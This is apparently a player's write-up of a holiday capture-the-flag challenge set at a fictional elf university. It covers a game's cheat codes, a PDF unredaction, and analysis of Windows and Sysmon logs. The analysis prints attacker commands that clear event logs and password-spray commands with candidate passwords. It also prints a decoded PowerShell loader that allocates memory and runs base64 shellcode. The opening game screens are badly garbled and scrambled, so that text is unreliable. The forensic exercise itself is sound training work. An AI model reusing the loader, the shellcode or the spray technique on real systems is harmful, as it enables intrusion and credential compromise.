	[GO] [Herbert was healed	Hard] [GRUELING] d by 34 points!]	[Dist/Left:76	52/0338] [Date:12/	10] [Money:0000]	[Reindr:03] [F	Runrs:03] [Ammo	0:000] [Meds:0	001] [Food:0	00] [Heath:090	5/048/037/030]				
	[Hard] [GRUELING] able to pull you	[Dist/Left:77 Ir sleigh forwa	29/0271] [Date:12/ rd a distance of 6	11] [Money:0000] 7 today. You hav	[Reindr:03] [F e no food. Your	Runrs:03] [Ammo r party is star	0:000] [Meds:0 rving. You fou	001] [Food:0 und 20 morse	20] [Heath:088 ls of Christma	3/046/032/026] as cookies lyi	ng around! #wha	itcouldgowrong]		
	[GO] [H [The reindeer are a	Hard] [GRUELING] able to pull you	[Dist/Left:78 Ir sleigh forwa	20/0180] [Date:12/ rd a distance of 9	12] [Money:0000] 01 today. Joy! He	[Reindr:03] [F rbert was fille	Runrs:03] [Ammo ed with holiday	0:000] [Meds:0 / cheer!]	001] [Food:0	04] [Heath:088	3/100/033/027]				
STATUS -	[Hard] [GRUELING] able to pull you	[Dist/Left:78 Ir sleigh forwa	81/0119] [Date:12/ rd a distance of 6	13] [Money:0000] 51 today. You hav	[Reindr:03] [F e no food. Your	Runrs:03] [Ammo r party is star	0:000] [Meds:0 rving.]	001] [Food:0	00] [Heath:085	5/100/029/022]				
STATUS -	[Hard] [GRUELING] able to pull you	[Dist/Left:79 Ir sleigh forwa	93/0007] [Date:12/ rd a distance of 1	14] [Money:0000] 12 today. You ha	[Reindr:03] [F ve no food. You	Runrs:03] [Ammo ur party is sta	0:000] [Meds:6 arving.]	001] [Food:0	00] [Heath:082	2/096/025/017]				
	RY !!!: [Your party	/ has succeeded!	POST_RESULT	•••••• •••••• 5({ hash:"f3e41a	22416c2397460403	fa82d40307f437	9da95d41d5e366b	55a1e775c5d41	L", resource	Id: "Jebediah	Springfield"})	; Sam is joyful	.! Herbert is ec		
static! J 4000 poin lier = 45 e a prese are, we and move	oseph is ready to j ts 3 reindeer X 40 600! Verification H nt stuck in the ch: should have a few odd things onto my	jingle bell rock = 1200 points hash: e1c969bbdf imney! It got se fonts to choose / scalp!>]	(L1la 1s happ 0 money left X 37a4a62e62d152 ent4 - We ke from8 - The pa	ier than an elf ir 1 = 0 points Jour 27b8bb25 Play agai ep that next to th rents of spoiled b	n a toy shop! Date mey completed on .n? 1 - When<br ne cookie jar5 - I kids go on the name	e completed: 1 15 December: 1 I'm down, my f My title is toy ughty list9	5 December Rein 10 days before F12 key console y maker the com - Some toys ha	ndeer remainin Christmas X 5 as me2 - Remin mbination is 1 ave to be forc	ng: 3 Money 50 = 500 poi nds me of the L23456 - Are ced active10	remaining: 0 9 nts Total scor e transition f we making hol - Sometimes v	Scoring: 4 sur re: (4000 + 1 to the paperle Logram elf tra when I'm worki	viving party me 200 + 0 + 500) ss naughty/nice ding cards this ng, I slide my	mbers X 1000 = X 8 Hard multip list3 - Lik year?7 - If we hat to the left		
********** **********	*****		*****	*****											
******				*****											
Here	is a sample	e run in N	IEDIUM	difficulty	with the "	lightspee	ed" and	"maxall	" cheat	t codes:					
		~	~~												
xtraammo=	5proxyproxy_hos	st=127.0.0.1pro	oxy_port=8080	# pytho lightspeedmaxall	ns nht.pyplayer	id=JebediahSprin	igrielddiffic	utty≕medium	pace=2extr	areindeer=1		extrafood=5	extrameds=2e		

1111 FUEAT CODES ACTIVE: [[]distspeed maxmems maxmeds maxred maxred

Page **44** of **184**

THE HOLIDAY HACK TRAIL

YOUR PARTY HAS SUCCEEDED."

HERBERT IS HAPPIER THAN AN ELF IN A TOY SHOP." MICHAEL IS OVER THE MOON." EMMA IS HAVING THE BEST CHRISTMAS EVER." MILDRED IS OVERJOYED." DATE COMPLETED: 6 DECEMBER REINDEER REMAINING: 4 MONEY REMAINING: 0

SCORING:

4 SURVIVING PARTY MEMBERS X 1000 = 4000 POINTS 4 REINDEER X 400 = 1600 POINTS 0 MONEY LEFT X 1 = 0 POINTS JOURNEY COMPLETED ON 6 DECEMBER: 19 DAYS BEFORE CHRISTMAS X 50 = 950 POINTS TOTAL SCORE: (4000 + 1600 + 0 + 950) X 8 HARD MULTIPLIER = 52400. VERIFICATION HASH: 7878688AF8E46D85E71DAF18D321283E PLAY_AGAIN?

You have completed the Holiday Hack Trail challenge!



:-) This brought back some happy memories :-)

Achievement - Teleportation via Steam Tunnels

This challenge is found in the Steam Tunnels and interacting with Krampus Hollyfeld after you complete Objective 8 - Frido Sleigh CAPTEHA, will grant this capability.



To help you, I have flashed the firmware in your badge to unlock a useful new feature: magical teleportation through the steam tunnels.

This new capability allows you to fast travel to the major areas of ElfU. The fast travel map is shown here below and you can click on the map boxes to transport you to that location.



As you were exploring, did you ever wonder if those vents had a purpose? Yes, they do! These vents are where you appear from when you teleport through the Steam Tunnels to these locations.

Steam Tunnel Vent - Train Station:



Page 46 of 184



Steam Tunnel Vent - Student Union:



Steam Tunnel Vent - Hermey Hall:





Steam Tunnel Vent - Krampus' Lair:



Whee! You can now use the steam tunnels to move quickly around Elf U!

Achievement - Zeek JSON Analysis

This challenge is found in the Sleigh Shop room and interacting with Wunorse Openslae will introduce this challenge.





Wunorse Openslae here, just looking at some Zeek logs. I'm pretty sure one of these connections is a malicious C2 channel... Do you think you could take a look? I hear a lot of C2 channels have very long connection times. Please use jq to find the longest connection in this data set. We have to kick out any and all grinchy activity!

You can begin the challenge by clicking on the "Zeek JSON Analysis" terminal icon.

This excellent post was very helpful here: <u>https://pen-testing.sans.org/blog/2019/12/03/parsing-zeek-json-logs-with-jq-2</u> Using jq magic, then sort and tail you get the answer:



Objective Challenges

Objective 0 – Talk to Santa in the Quad



From the Train Station, go north into the Quad and find Santa holding an umbrella. Clicking on Santa will cycle through all the dialog which can also be seen in the chat list history. Do this completes Objective 0, unlocks Objective 1-5 in your badge and Narrative 2. See Characters section for all character dialog.

📀 0) Talk to Santa in the Quad

Enter the campus quad and talk to Santa.

Objective 1 – Find the Turtle Doves

After speaking with Santa (umbrella) in the Quad, head north through the Quad and enter the Student Union building. To the left of the fireplace you will find the two turtle doves, Michael and Jane. Click on them to acknowledge finding them.



Objective 2 – Unredact Threatening Document

Leave the Student Union and go back to the Quad. Head to the northwest corner of the Quad and you will find a document icon partially visible behind one of the trees. Click on the document image to download "LetterToElfUPersonnel.pdf" (https://downloads.elfu.org/LetterToElfUPersonnel.pdf).



Open the pdf document and find that some of the text has been redacted.

Date: February 28, 2019

To the Administration, Faculty, and Staff of Elf University 17 Christmas Tree Lane North Pole

From: A Concerned and Aggrieved Character

Attention All Elf University Personnel,

Confidential

Contraction

If you do not accede to our demands, we will be forced to take matters into our own hands. We do not make this threat lightly. You have less than six months to act demonstrably.

Sincerely,

-A Concerned and Aggrieved Character

Click and hold in the upper left of the redacted text and drag highlight/select across the redacted area making sure it's all selected. When selected correctly, it will appear as below. Then copy this selected text with Ctrl+c and paste into a text editor to reveal the redacted text.



Here is the full text of the document with the previously redacted area shown in gray

Date: February 28, 2019

To the Administration, Faculty, and Staff of Elf University 17 Christmas Tree Lane North Pole

From: A Concerned and Aggrieved Character

Subject: DEMAND: Spread Holiday Cheer to Other Holidays and Mythical Characters... OR ELSE!

Attention All Elf University Personnel,

It remains a constant source of frustration that Elf University and the entire operation at the North Pole focuses exclusively on Mr. S. Claus and his year-end holiday spree. We URGE you to consider lending your considerable resources and expertise in providing merriment, cheer, toys, candy, and much more to other holidays year-round, as well as to other mythical characters.

For centuries, we have expressed our frustration at your lack of willingness to spread your cheer beyond the inaptly-called "Holiday Season." There are many other perfectly fine holidays and mythical characters that need your direct support year-round.

If you do not accede to our demands, we will be forced to take matters into our own hands. We do not make this threat lightly. You have less than six months to act demonstrably.

Sincerely,

--A Concerned and Aggrieved Character

The answer to Objective 2 needed for the badge question is the string: **DEMAND**



Someone sent a threatening letter to Elf University. What is the first word in ALL CAPS in the subject line of the letter? Please find the letter in the Quad.

Objective 3 – Windows Log Analysis: Evaluate Attack Outcome

Everything needed to complete this objective is provided in the badge description for Objective 3 and dialog from Bushy Evergreen:

Bushy Evergreen

Have you taken a look at the password spray attack artifacts? I'll bet that DeepBlueCLI tool is helpful.

You can check it out on GitHub.

It was written by that Eric Conrad.

He lives in Maine - not too far from here!

A link is provided to download the Security Event log (<u>https://downloads.elfu.org/Security.evtx.zip</u>) for analysis. Once downloaded, unzip it into a directory for analysis. There are several tools and methods that could have been used to parse and analyze this Security.evtx. I chose to use DeepBlueCLI in order to learn this tool and which can be cloned from here: <u>https://github.com/sans-blue-team/DeepBlueCLI</u>.

There are several git clients for Windows, including in Visual Studio. I used Cygwin's git for Windows:

iew Full 🗾 Sea	irch ^{git}	Clear	🔿 Кеер	•	Best C Sync	Te:
Package	Current	New		Src?	Categories	
git		2.21.0-1	-		Devel	
git-archive-all		Skip	•		Devel	
git-clang-format		Skip	•		Devel	
git-ovs		Skip	•		Devel	
git-debuginfo		Skip	•		Debug	2
git-email		Skip	•		Devel	
git-gui		Skip	•		Devel	
git-oodiff		Skip	•		Utils	
git-p4		Skip	•		Devel	
•		···		-		

C:\uorking>git clone https://github.com/sans-blue-team/DeepBlueCLI Cloning into 'DeepBlueCLI'... remote: Enumerating objects: 7, done. remote: Counting objects: 100X (7/7), done. remote: Compressing objects: 100X (6/6), done. remote: Total 469 (delta 1), reused 3 (delta 1), pack-reused 462 Receiving objects: 100X (469/469), 5.54 HiB \ 6.06 HiB/s, done. Resolving deltas: 100X (259/259), done.

C:\uorking>

Next launch PowerShell allowing execution and run DeepBlueCLI.ps1 against the Security.evtx file:



The Gridview is helpful to quickly identify logon attempts which are excessive. One account, *supatree*, stands out as having 1 less total login failure than the rest (76 vs 77)

	_	
l	🚬 .\DeepBl	ue.ps1 .\password-spray.evtx Out-Gridview
	Filter	
	💠 Add crite	ria 🔻
	Name	Value
	Date Message Log EventID	8/23/2019 8:00:20 PM High number of logon failures for one account Security 4672
	Results	Total logon failures: 77
	Decoded Command Date Message Log EventID	8/23/2019 8:00:20 PM High number of logon failures for one account Security 4672
	Results	Username: Istripyleaves
	Decoded Command Date Message Log EventID	8/23/2019 8:00:20 PM High number of logon failures for one account Security 4672
	Results	Username: supatree Total logon failures: 76
	Decoded Command Date Message Log EventID	8/23/2019 8:00:20 PM High number of logon failures for one account Security 4672
	Results	Username: smary Total logon failures: 77
	Decoded Command Date Message Log EventID Results	8/23/2019 8:00:20 PM High number of logon failures for one account Security 4672 Username: ftwinklestockings Total logon failures: 77

Looking further, we find a successful login with user supatree. Looks like a successful password spray attack against this user!

🛃 .\Deej	pBlue.ps1 .\password-spray.evtx Out-Gridview
Filter	
💠 Add cr	iteria 🔻
Name	Value
Date	8/23/2019 8:00:20 PM
Message	Multiple admin logons for one account
Log	Security
EventID	4672
Results	Username: supatree User SID Access Count: 2
Decoded	
Comman	d

Using another tool called evtx2json (https://github.com/vavarachen/evtx2json) and then parsing the json file manually for the user "supatree" and events 4624 and 4625, I was able to determine that it was the 2nd password attempted (out of the 77) that was the one that was a successful logon and sent at timestamp: 2019-11-19 12:21:45.755442 UTC. I will use this bit of information later in Objective 4.

The answer to Objective 3 needed for the badge question is the string: supatree

3) Windows Log Analysis: Evaluate Attack Outcome

Difficulty: 🛔 🌲 🌲

We're seeing attacks against the Elf U domain! Using <u>the event log data</u>, identify the user account that the attacker compromised using a password spray attack. Bushy Evergreen is hanging out in the train station and may be able to help you out.

supatree Submit

3) Windows Log Analysis: Evaluate Attack Outcome

Difficulty: 🖡 🌲 🌲

We're seeing attacks against the Elf U domain! Using the event log data, identify the user account that the attacker compromised using a password spray attack. Bushy Evergreen is hanging out in the train station and may be able to help you out.

Congratulations! You have completed the Windows Log Analysis: Evaluate Attack Outcome challenge!

Objective 4 – Windows Log Analysis: Determine Attacker Technique

Everything needed to complete this objective is provided in the badge description for Objective 4 and dialog from SugarPlum Mary:

<u>SugarPlum Mary</u> Have you tried the Sysmon and EQL challenge? If you aren't familiar with Sysmon, Carlos Perez has some great info about it. Haven't heard of the Event Query Language? Check out some of Ross Wolf's work on EQL or that blog post by Josh Wright in your badge.

A link in included to download the Sysmon log (<u>https://downloads.elfu.org/sysmon-data.json.zip</u>) for analysis. Once downloaded, unzip it into a directory for analysis. Once again, there are several tools and methods that could have been used to parse and analyze this json file. I chose to use EQL and the Slingshot distro to learn these tools.

After a few initial EQL queries focusing on the command_line parameter, four malicious activities are revealed:

1. The use of the wevtutil.exe command to clear 182 event logs, indicating the attacker covering their tracks.

		slingshot@slingshot: ~/working	
File Edit	View	Search Terminal Help	
slingshot@s	lingsh	not:-/working\$ eql query -f sysmon-data.json 'process where command_line = "*wevtutil*" jq {command_line} grep command_line	
"command		: "\"C:\\Windows\\system32\\wevtutil.exe\" cl Microsoft-Windows-SmbClient/Security"	
"command_		: "\"C:\\Windows\\system32\\wevtutil.exe\" cl Microsoft-Windows-StateRepository/Debug"	
"command_		"\"C:\\Windows\\system32\\wevtutil.exe\" cl Microsoft-Windows-StateRepository/Diagnostic"	
"command		: "\"C:\\Windows\\system32\\wevtutil.exe\" cl Microsoft-Windows-StateRepository/Operational"	
"command		: "\"C:\\Windows\\system32\\wevtutil.exe\" cl Microsoft-Windows-StateRepository/Restricted"	
"command		: "\"C:\\Windows\\system32\\wevtutil.exe\" cl Microsoft-Windows-StorDiag/Operational"	
"command		: "\"C:\\Windows\\system32\\wevtutil.exe\" cl Microsoft-Windows-StorPort/Operational"	
command		: "\"C:\\Windows\\system32\\wevtutil.exe\" cl Microsoft-Windows-Storage-ATAPort/Admin"	
command		: "\"C:\\Windows\\system32\\wevtutil.exe\" cl Microsoft-Windows-Storage-ATAPort/Analytic"	
"command		"\"C:\\Windows\\system32\\wevtutil.exe\" cl Microsoft-Windows-Storage-ATAPort/Debug"	CALL Contraction of the local sectors of the local
"command		: "\"C:\\Windows\\system32\\wevtutil.exe\" cl Microsoft-Windows-Storage-ATAPort/Diagnose"	
"command		"\"C:\\Windows\\system32\\wevtutil.exe\" cl Microsoft-Windows-Storage-ATAPort/Operational"	
command		"\"C:\\Windows\\system32\\wevtutil.exe\" cl Microsoft-Windows-Storage-ClassPnP/Admin"	
"command		: "\"C:\\Windows\\system32\\wevtutil.exe\" cl Microsoft-Windows-Storage-ClassPnP/Analytic"	
"command_	line	"\"C:\\Windows\\system32\\wevtutil.exe\" cl Microsoft-Windows-Storage-ClassPnP/Debug"	
"command		: "\"C:\\Windows\\system32\\wevtutil.exe\" cl Microsoft-Windows-Storage-ClassPnP/Diagnose"	
"command		: "\"C:\\Windows\\system32\\wevtutil.exe\" cl Microsoft-Windows-Storage-ClassPnP/Operational"	
"command		: "\"C:\\Windows\\system32\\wevtutil.exe\" cl Microsoft-Windows-Storage-Disk/Admin"	
command		"\"C:\\Windows\\system32\\wevtutil.exe\" cl Microsoft-Windows-Storage-Disk/Analytic"	
command		""C:\\Windows\\system32\\wevtutil.exe\" cl Microsoft-Windows-Storage-Disk/Debug"	
command		""C:\\Windows\\system32\\wevtutll.exe\" cl Microsoft-Windows-Storage-Disk/Diagnose"	
command		"\"C:\\Windows\\system32\\wevtutll.exe\" cl Microsoft-Windows-Storage-Disk/Operational"	
"command		""C:\\Windows\\system32\\wevtutil.exe\" cl Microsoft-Windows-Storage-Storport/Admin	
command	Line .	""C:\\Windows\\system32\\wevtutil.exe\" CL Microsoft-Windows-Storage-Storport/Analytic"	
"command_		"\"C:\\Windows\\system32\\wevtutll.exe\" cl Microsoft-Windows-Storage-Storport/Debug"	
command		<pre>````````````````````````````````````</pre>	
command		"\"C:\\Windows\\system32\\wevtutll.exe\" cl Microsoft-Windows-Storage-Storport/Health"	
command	tine .	"\"(:\\windows\\system32\\wevtutl.exe\" ct Microsoft-Mindows-Storage-storapht/Uperational" """""""""""""""""""""""""""""""""""	
command	tine	<pre>\C:\Windows\\system32\\wevtull.exe\ Ct Microsoft-windows-storage-liering-loHeat/Heat"</pre>	
command	tine	\\ C:\\windows\\System32\\wevtut1.exe\\ ct Microsoft-Mindows-Storage-TierIng/Admin"	
command	cane.	<pre>\C.(\WINDOWS\System32\\Wevtutl.exe\ Ct PILrosoft-wIndows-storagemanagement/Debug')</pre>	
command		\ C:\\windows\\systemi2\\wevtuti.exe\ ct Microsoft-Mindows-Storagemanagement/Operationat"	
Command	cane.	<pre>\C.(Windows\csystem52\wevtuclt.exe(Ct Microsoft-windows-storagespaces/UF2Ver/U1agnostic") \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\</pre>	

2. The use of net.exe to perform a password spray attack against 31 ELFU domain accounts trying 77 passwords on each account, one password per second approximately. There were actually 72 unique passwords in the 77 passwords attempted per account, where 3 passwords (Passw0rd, Princess1 & Winter2020) were attempted twice and 1 password (Password1) attempted 3 times - not good tradecraft. Additionally, in many domain environments having this many failed-logon attempts per account would have locked out all 31 domain accounts, resulting in a denial of service (also not good tradecraft).

	slingshot@slingshot: ~/working	 S
File Edit Vie	ew Search Terminal Help	
slingshot@slin	ngshot:-/working\$ eql query -f sysmon-data.json 'process where command line = "*net*user*" jq {command line} grep command line	·
"command_lin	e": "net use \\\\127.0.0.1\\IPC\$ /user:ELFU\\Administrator ???Summer2019 "	
"command lin	ne": "net_use \\\\127.0.0.1\\IPC\$ /user:ELFU\\bbrandyleaves ???Summer2019 "	
"command lin	<pre>ie": "net use \\\\127.0.0.1\\IPC\$ /user:ELFU\\bevergreen ???Summer2019 "</pre>	
"command lin	we": "net use \\\\127.0.0.1\\IPC\$ /user:ELFU\\civypears ???Summer2019 "	
"command_lin	e": "net use \\\\127.0.0.1\\IPC\$ /user:ELFU\\civysparkles ???Summer2019 "	
"command lin	<pre>ie": net use \\\\127.0.0.1\\IPC\$ /user:ELFU\\cjinglebuns ???Summer2019 "</pre>	
"command lin	<pre>ret use (\\\127.0.0.1\1PC5 /user:ELFU\\cstrpyfuff ??Summer2019 "</pre>	
command tin	Her: "net use (\\\127.0.0.1\1PC5 /user:ELFU\\dsparkleteaves //summer2019	Research The Provide State
command Lin	le: - net use \\\\127.0.0.1\1PCS /User:ELFU\\esparktestelign r/summerz019 =	
"command Lin	le : net use \\\\27.0.1\\FCS /Use::ELFO\\11Insettoes frisublettoes frisuble	
Command Lin	le - net use \\\\127.0.0.1\12765/User.EFU\\1WENKESUUKING F1500ME2015	
"command lin	e net be (\\127.0.0.1\177.0.0)	
"command lin	ne inter use (\\\127.0.0.1\176.g.) user:EELPO\\UkinUcutatewine fraumer 2019	
"command lin	e net use (((127.6.8.1))77.6.8.1)7165 ((16.6.10)9766)8 773(10.6.10)9760 "	
"command lin	mer met die fillerichterigten vollerichterigten inden eine sollterigten ander eine sollterigten vollerigten vollerigten eine sollterigten vollerigten eine sollterigten	
"command lin	e": "net use \\\\27.0.0.1\\PC\$ /user:ELEU\\truffefig ???summer2019 "	
"command lin	<pre>re": "net use \\\\127.0.0.1\\1PC\$ /user:ELFU\\mbrandvbells ???Summer2019 "</pre>	
"command lin	<pre>re": "net use \\\\127.0.0.1\\1PC\$ /user:ELFU\\mstripysleigh ???Summer2019 "</pre>	
	re": "net_use \\\\127.0.0.1\\IPC\$ /user:ELFU\\pbrandyberry ???Summer2019 "	
	ne": "net use \\\\127.0.0.1\\IPC\$ /user:ELFU\\sgreenbells ???Summer2019 "	A DESCRIPTION OF THE OWNER OF THE
"command lin	<pre>ie": "net use \\\\127.0.0.1\\IPC\$ /user:ELFU\\smary ???Summer2019 "</pre>	
"command lin	<pre>ie": "net use \\\\127.0.0.1\\IPC\$ /user:ELFU\\smullingfluff ???Summer2019 "</pre>	
"command lin	<pre>ie": "net use \\\\127.0.0.1\\IPC\$ /user:ELFU\\sscarletpie ???Summer2019 "</pre>	
"command lin	ne": "net use \\\\127.0.0.1\\IPC\$ /user:ELFU\\supatree ???Summer2019 "	
"command lin	<pre>ie": "net use \\\\127.0.0.1\\IPC\$ /user:ELFU\\tcandybaubles ???Summer2019 "</pre>	
"command lin	<pre>ie": "net use \\\\127.0.0.1\\IPC\$ /user:ELFU\\ttinselbubbles ???Summer2019 "</pre>	
"command lin	ne": "net_use \\\\127.0.0.1\\IPC\$ /user:ELFU\\twinterfig ???Summer2019 "	
"command_lin	ne": "net_use \\\\127.0.0.1\\IPC\$ /user:ELFU\\wopenslae ???Summer2019 "	
"command_lin	<pre>ie": "net use \\\\127.0.0.1\\IPC\$ /user:ELFU\\ygoldentrifle ???Summer2019 "</pre>	
"command_lin	me": "net_use \\\\127.0.0.1\\IPC\$ /user:ELFU\\ygreenpie ???Summer2019 "	
"command lin	we": "net use \\\\127.0.0.1\\IPC\$ /user:ELFU\\Administrator Passw0rd1 "	
command lin	Me": "net use \\\\127.0.0.1\\1PC\$ /user:ELFU\\bbrandyteaves Passw0rd1 "	
1 I I I I I I I I I I I I I I I I I I I		



Edit View Search Termina	Help	slingshot@slingshot: ~/working	•
shot@slingshot:~/working\$ cat	psh.b64 base64 -d gunzip		dan senten in der
ion a2T { Param (\$ic6T, \$ylqn)			
scc = ([AppDoMain]::Curren	pomain.detAssemblies() Where-ubject { \$GlobalAsse	<pre>smotycacre -and \$Location.Split(\\ / -ij.Equals('System.dit') }).Get(ype('Microsoft.Win32.Uns/ - WandleBef) [String])) Toucks(toul) @([Sustem_Bunching_Tatemenformings_HandleDeft(MicroScient Scienter)]</pre>	arewativenethous')
((New-Object IntPtr), (\$cL.0	tMethod('GetModuleHandle')).Invoke(\$null, @(\$ic6T))))	manuteker), [string])).invoke(shutt, @(isystem.kuntime.interopservices.manuteker)(new-object s)), \$ylqn))	ystem.Runtime.interopservices.
on ia {			
Param ([Parameter(Positio	= 0, Mandatory = \$True)] [Type[]] \$id,		
[Parameter(Positio	= 1)] [Type] \$v2a = [Void]		
<pre>\$mSSG = [AppDomain]::Curre</pre>	tDomain.DefineDynamicAssembly((New-Object System.Refl	<pre>lection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run)</pre>	.DefineDynamicModule('InMemory
\$mSSG.DefineConstructor('F	elype', 'Class, Public, Sealed, Ansiclass, Autoclass' SpecialName, HideBySig, Public', [System.Reflection.C	<pre>, [system.MulticastDelegate]) CallingConventions]::Standard, \$jd).SetImplementationFlags('Runtime, Managed') CatTurplementationFlags('Runtime, Managed')</pre>	
smisso.perinemethod(invoke	, FUDILC, HIGEBYSIG, NEWSIOC, VICUAL, SVZA, SJU/.5	etimprementationrtagst kuntime, manageu /	
recard photorereaterype()			
]]\$s2Tyx = [System.Convert]: f/gX19aixLrjV1oMzIAAGh3czJfV	FromBase64String("/OiCAAAAYInlMcBkilAwilIMilIUi3IoD7d hMdyYHiej/OLiQAQAAKcRUUGgpgGsA/9VqCmjAqFaAaAIAEVyJ5lB	JKJjH/rDxhfAIsIMHPDQHH4vJSV4tSEItKPItMEXjjSAHRUYtZIAHTi0kY4zpJizSLAdYx/628zw0BxzjgdfYDffg7fSRI5F: 3QUFBAUEBQaOoP3+D/IZdqEFZXaJmldGH/1YXAdAr/Tgh170hnAAAAagBqBFZXaALZyF//1YP4AH42izZqQGgAEAAAVmoAaF:	iLWCQB02aLDEuLWBwB04sEiwHQiUQ ikU+X/1ZNTagBWU1doAtnIX//Vg/g
ABqAFBoCy8PMP/VV2h1bk1h/9Ve>	BMJA+FcP///+mb////AcMpxnXBw7vgHSoKaKaVvZ3/1TwGfAqA++B	BIBbtHE3JvagBT/9U=")	
ISystem.Runtime.InteropServ	ces.Marshal]::GetDelegateForFunctionPointer((a2T kern	met32.dtt VirtualAlloc), (iq @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPt	tr]::Zero, \$s2Tyx.Length,0x30
- [System Runtime InteropServices.Ma	smat:::Copyt\$szTyx, 0, \$cot, \$szTyx.length)	arne]32 d]] (reateThread) (in @([Tnt9tr] [Tnt32] [Tnt9tr] [Tnt9tr] [Tnt32] [Tat9tr]	ntPtrl))) Invoko/(IntPtrl7
IntPtr]::Zero,0,[IntPtr	ro):	l WaitEorSingleObiect) (ig @([IntPtr] [Int32]))) Invoke(\$fM515 @xfffffffff) [out.Wol]	iterer j///.invoke([intPtr]::2e
ot@slingshot:~/working\$	and the council of the clone of the trace we held 2.00	te market of sampled by Jetter, the generatory, thread y // here we (and here and here the second	
Then extract	ng the 2 nd embedded base64 pa	ayload in the above screenshot yields the actual shellcode:	
nashot@slinas	ot:~/working\$ cat psh2.b0	64 base64 -d > sc.bin	
ngshot@slings ngshot@slings	ot:~/working\$ cat psh2.b6 ot:~/working\$ ndisasm -b	64 base64 -d > sc.bin 32 sc.bin > sc.asm	
ngshot@slings ngshot@slings ngshot@slings	ot:~/working\$ cat psh2.b0 ot:~/working\$ ndisasm -b ot:~/working\$ vi sc.asm	64 base64 -d > sc.bin 32 sc.bin > sc.asm	
ngshot@slings ngshot@slings ngshot@slings	ot:~/working\$ cat psh2.b0 ot:~/working\$ ndisasm -b ot:~/working\$ vi sc.asm	64 base64 -d > sc.bin 32 sc.bin > sc.asm	
ngshot@slings ngshot@slings ngshot@slings	ot:~/working\$ cat psh2.b6 ot:~/working\$ ndisasm -b oot:~/working\$ vi sc.asm	64 base64 -d > sc.bin 32 sc.bin > sc.asm	♥ ♠
ngshot@slings ngshot@slings ngshot@slings	ot:~/working\$ cat psh2.b6 ot:~/working\$ ndisasm -b ot:~/working\$ vi sc.asm sling	64 base64 -d > sc.bin 32 sc.bin > sc.asm gshot@slingshot:~/working	• •
ngshot@slings ngshot@slings ngshot@slings Edit View Search	ot:~/working\$ cat psh2.b6 ot:~/working\$ ndisasm -b ot:~/working\$ vi sc.asm sling Terminal Help	64 base64 -d > sc.bin 32 sc.bin > sc.asm gshot@slingshot:~/working	⊙ ⊙
ngshot@slings ngshot@slings ngshot@slings Edit View Search 1083 5A 1084 8812	<pre>oot:~/working\$ cat psh2.bd oot:~/working\$ ndisasm -b oot:~/working\$ vi sc.asm sling Terminal Help pop edx mov edx,[edx]</pre>	64 base64 -d > sc.bin 32 sc.bin > sc.asm gshot@slingshot:~/working	 ⊙ ⊙
Edit View Search	<pre>oot:~/working\$ cat psh2.bd oot:~/working\$ ndisasm -b oot:~/working\$ vi sc.asm sling Terminal Help pop edx mov edx,[edx] jmp short 0x15 pop ebp</pre>	64 base64 -d > sc.bin 32 sc.bin > sc.asm gshot@slingshot:~/working	 ○ ○
Edit View Search Bashot@slings Edit View Search Edit View Search E	<pre>ot:~/working\$ cat psh2.bd ot:~/working\$ ndisasm -b ot:~/working\$ vi sc.asm sling Terminal Help pop edx mov edx,[edx] jmp short 0x15 pop ebp push dword 0x3233</pre>	64 base64 -d > sc.bin 32 sc.bin > sc.asm gshot@slingshot:~/working	· •
Edit View Search 1083 5A 1084 8812 1086 EB8D 1088 5D 1088 687773325F 1093 54 1083 52 1086 687773325F 1093 54 1093 54 1095 54 1	<pre>not:~/working\$ cat psh2.bd not:~/working\$ ndisasm -b not:~/working\$ vi sc.asm sling Terminal Help pop edx mov edx,[edx] jmp short 0x15 pop ebp push dword 0x35327377 nush esp</pre>	64 base64 -d > sc.bin 32 sc.bin > sc.asm gshot@slingshot: ~/working	••
Edit View Search 1083 5A 1084 8812 1086 E8D 1088 687773325F 1093 54 1094 684C772607	not:~/working\$ cat psh2.bd not:~/working\$ ndisasm -b not:~/working\$ vi sc.asm sling Terminal Help pop edx mov edx,[edx] jmp short 0x15 pop ebp push dword 0x3233 push dword 0x5f327377 push esp push dword 0x726774c	64 base64 -d > sc.bin 32 sc.bin > sc.asm gshot@slingshot: ~/working	• •
Edit View Search 083 5A 084 8812 088 5D 088 6833320000 088 6833325F 093 54 094 684C772607 099 8958	<pre>iot:~/working\$ cat psh2.bd iot:~/working\$ ndisasm -b iot:~/working\$ vi sc.asm sling Terminal Help pop edx mov edx,[edx] jmp short 0x15 pop ebp push dword 0x3233 push dword 0x5f327377 push esp push dword 0x726774c mov eax,ebp call ox</pre>	64 base64 -d > sc.bin 32 sc.bin > sc.asm gshot@slingshot: ~/working	••
Edit View Search 1984 8812 1988 50 1988 50 1988 50 1988 68777325F 1993 54 1994 684C772607 1999 8958 1999 8958 1990 899010000	not:~/working\$ cat psh2.bd not:~/working\$ ndisasm -b not:~/working\$ vi sc.asm sling Terminal Help pop edx mov edx,[edx] jmp short 0x15 pop ebp push dword 0x35327377 push esp push dword 0x726774c mov eax,ebp call eax mov eax,0x190	64 base64 -d > sc.bin 32 sc.bin > sc.asm gshot@slingshot:~/working	••
Edit View Search 083 5A 084 8812 086 E8D 088 5D 088 68777325F 093 54 094 684C772607 099 8958 098 FFD0 099 BFFD0 090 B890010000 0042 29C4	not:~/working\$ cat psh2.bd not:~/working\$ ndisasm -b not:~/working\$ vi sc.asm sling Terminal Help pop edx mov edx,[edx] jmp short 0x15 pop ebp push dword 0x3233 push dword 0x5f327377 push esp push dword 0x726774c mov eax,ebp call eax mov eax,0x190 sub esp,eax	64 base64 -d > sc.bin 32 sc.bin > sc.asm gshot@slingshot: ~/working	••
Edit View Search Edit View Search 1083 5A 1084 8812 1086 EB8D 1088 6833320000 1088 6833320000 1088 687773325F 1093 54 1094 684C772607 1099 89E8 1098 FFD0 1090 8990010000 1094 54 1094 54 1094 54 1095 50	<pre>iot:~/working\$ cat psh2.bd iot:~/working\$ ndisasm -b iot:~/working\$ vi sc.asm rerminal Help pop edx mov edx,[edx] jmp short 0x15 pop ebp push dword 0x35327377 push esp push dword 0x726774c mov eax,0x190 sub esp,eax push eax</pre>	64 base64 -d > sc.bin 32 sc.bin > sc.asm gshot@slingshot:~/working	••
